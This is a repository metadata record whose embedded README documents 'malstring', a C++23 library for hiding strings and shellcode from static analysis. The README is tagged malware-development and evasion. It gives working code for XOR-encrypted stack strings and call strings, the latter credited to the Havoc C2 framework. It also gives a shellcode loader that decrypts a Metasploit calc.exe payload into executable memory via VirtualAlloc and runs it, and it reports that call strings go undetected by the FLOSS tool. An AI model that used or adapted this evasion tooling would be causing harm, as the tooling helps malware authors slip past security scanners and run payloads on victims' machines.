{"id":17383327,"url":"https://github.com/manulmap/malstring","last_synced_at":"2025-04-15T07:31:06.017Z","repository":{"id":242706241,"uuid":"810314475","full_name":"ManulMap/malstring","owner":"ManulMap","description":"Using c++23 compile-time magic to produce obfuscated PIC strings and arrays.","archived":false,"fork":false,"pushed_at":"2024-06-05T15:18:01.000Z","size":17,"stargazers_count":19,"open_issues_count":0,"forks_count":3,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-28T18:21:17.532Z","etag":null,"topics":["evasion","malware","malware-development","obfuscation","shellcode","signature-detection","string-obfuscation"],"latest_commit_sha":null,"homepage":"","language":"C++","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ManulMap.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-06-04T13:03:30.000Z","updated_at":"2025-03-24T02:25:21.000Z","dependencies_parsed_at":"2024-06-04T15:32:41.295Z","dependency_job_id":"472c3fe6-5e56-4357-85d7-39332a9a273f","html_url":"https://github.com/ManulMap/malstring","commit_stats":null,"previous_names":["manulmap/malstring"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ManulMap%2Fmalstring","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ManulMap%2Fmalstring/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ManulMap%2Fmalstring/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ManulMap%2Fmalstring/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ManulMap","download_url":"https://codeload.github.com/ManulMap/malstring/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":249026722,"owners_count":21200499,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["evasion","malware","malware-development","obfuscation","shellcode","signature-detection","string-obfuscation"],"created_at":"2024-10-16T07:41:18.072Z","updated_at":"2025-04-15T07:31:05.764Z","avatar_url":"https://github.com/ManulMap.png","language":"C++","funding_links":[],"categories":[],"sub_categories":[],"readme":"# malstring\nUsing c++23 compile-time magic to produce obfuscated PIC strings and arrays.\n\n## Stack strings\nProbably you already know the following code will force runtime construction of string \"Stack string\" on the stack.\n```c++\n#include \u003ccstdio\u003e\n\nint main() {\n\tchar stack_string[] = {'S', 't', 'a', 'c', 'k', ' ', 's', 't', 'r', 'i', 'n', 'g', '\\0'};\n\t\n\tprintf(stack_string);\n}\n```\n\n[https://godbolt.org/z/hPYEnjn3s](https://godbolt.org/z/hPYEnjn3s)\n\nThis method is useful if you want to generate PIC code without using an .rdata section to store strings, or simply hide strings from static string search tools.\n\nThe only problem with this. Writing each string this way is extremely inconvenient. Also it's less readable.\nThis problem is especially evident when you want to encrypt stack string in compile time.\n\nMy library, using various metaprogramming tricks, produces compile-time XOR-encrypted stack strings without losing readability and convenience.\nFor each string it is possible to use its own XOR key.\n\n```c++\nStackString\u003c\"Null-terminated Stack String\", RAND()\u003e ss;\nss.EncryptDecrypt(); // don't forget to decrypt the string before using it\nstd::cout \u003c\u003c ss.Buf \u003c\u003c '\\n';\nss.EncryptDecrypt(); // encrypt again after use\n\nStackString\u003c\"Stack String without null terminator\", RAND(), false\u003e ss2;\nss2.EncryptDecrypt();\nstd::cout \u003c\u003c ss2.Buf \u003c\u003c '\\n';\nss2.EncryptDecrypt();\n```\n\n[https://godbolt.org/z/dGePWeoaa](https://godbolt.org/z/dGePWeoaa)\n\n\n## Call Strings\n\nI found this technique in [HAVOC](https://github.com/HavocFramework/Havoc) C2 framework.\n\n```c++\n#include \u003ccstdio\u003e\n\n#if (defined(_MSC_VER))\n#define NOINLINE __declspec(noinline)\n#else\n#define NOINLINE __attribute__((noinline))\n#endif\n\n\nNOINLINE char SymH() {\n\treturn 'H';\n}\nNOINLINE char SymE() {\n\treturn 'E';\n}\nNOINLINE char SymL() {\n\treturn 'L';\n}\nNOINLINE char SymO() {\n\treturn 'O';\n}\nNOINLINE char SymNULL() {\n\treturn '\\0';\n}\n\nint main() {\n\tchar Hello[6];\n\tHello[0] = SymH();\n\tHello[1] = SymE();\n\tHello[2] = SymL();\n\tHello[3] = SymL();\n\tHello[4] = SymO();\n\tHello[5] = SymNULL();\n    \n\tprintf(\"%s\\n\", Hello);\n}\n```\ngcc optimizes all calls, so optimization must be disabled. Msvc works well even with optimization enabled.\n[https://godbolt.org/z/4TGso8heb](https://godbolt.org/z/4TGso8heb)\n\n\nMy library also provides the ability to create XOR-encrypted call strings in a much more convenient way.\n\n```c++\nCallString\u003c\"Null-terminated Call String\", RAND()\u003e cs;\ncs.EncryptDecrypt(); // don't forget to decrypt the string before using it\nprintf(cs.Buf);\ncs.EncryptDecrypt(); // encrypt again after use\n\nCallString\u003c\"Call String without null terminator\", RAND()\u003e cs2;\ncs2.EncryptDecrypt();\nprintf(cs2.Buf);\ncs2.EncryptDecrypt();\n\n```\n[https://godbolt.org/z/8n49Knov3](https://godbolt.org/z/8n49Knov3)\n\n## Call Array\n\nYou can store more than just strings. This library also provides a way to store arrays.\nThis code demonstrates how to call the Metasploit shellcode, which launches Calc.exe\n\n```c++\nint main()\n{\n\tconstexpr std::array\u003cstd::uint8_t, 108\u003e shellcode {\n\t\t0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C,\n\t\t0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,\n\t\t0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,\n\t\t0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,\n\t\t0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE,\n\t\t0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0x0C, 0xCC, 0xCC,\n\t};\n\t\n\tCallArray\u003cshellcode.size(), shellcode, RAND()\u003e calc;\n\tcalc.EncryptDecrypt();\n\t\n\tconst auto alloc = VirtualAlloc(0, sizeof(calc), MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n\t\n\tmemcpy(alloc, calc.Buf, sizeof(calc));\n\t\n\t((void (*)())alloc)();\n\t\n\tcalc.EncryptDecrypt();\n}\n\n```\n\nYou can even pass hex string instead of constexpr array.\n\n``` c++\nint main()\n{\n\tCallArrayFromHex\u003c\"53 56 57 55 54 58 66 83 E4 F0 50 6A 60 5A 68 63 61 6C \"\n\t\t\t \"63 54 59 48 29 D4 65 48 8B 32 48 8B 76 18 48 8B 76 10 48 AD \"\n\t\t\t \"48 8B 30 48 8B 7E 30 03 57 3C 8B 5C 17 28 8B 74 1F 20 48 01 FE 8B 54 \"\n\t\t\t \"1F 24 0F B7 2C 17 8D 52 02 AD 81 3C 07 57 69 6E 45 75 EF 8B 74 1F 1C \"\n\t\t\t \"48 01 FE 8B 34 AE 48 01 F7 99 FF D7 48 83 C4 68 5C 5D 5F 5E 5B 0C \"\n\t\t\t \"CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC\", RAND()\u003e calc;\n\t\n\tcalc.EncryptDecrypt();\n\t\n\tconst auto alloc = VirtualAlloc(0, sizeof(calc), MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n\t\n\tmemcpy(alloc, calc.Buf, sizeof(calc));\n\t\n\t((void (*)())alloc)();\n\t\n\tcalc.EncryptDecrypt();\n}\n\n```\nThe only limitation of this method is EXTREMELY long compilation time for large arrays. A 1kb shellcode takes about 30 minutes compilation time.\n\n## Detection\nI tested StackString and CallString with [FLOSS](https://github.com/mandiant/flare-floss)\nThe StackString is sometimes detectable as \"Tight string\" (runtime decrypted stack string)\nCallString is undetectable.\n\n## Usage\nJust copy header into your project. set c++ standard to c++23 or latest.\nCRT isn't required.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmanulmap%2Fmalstring","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmanulmap%2Fmalstring","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmanulmap%2Fmalstring/lists"}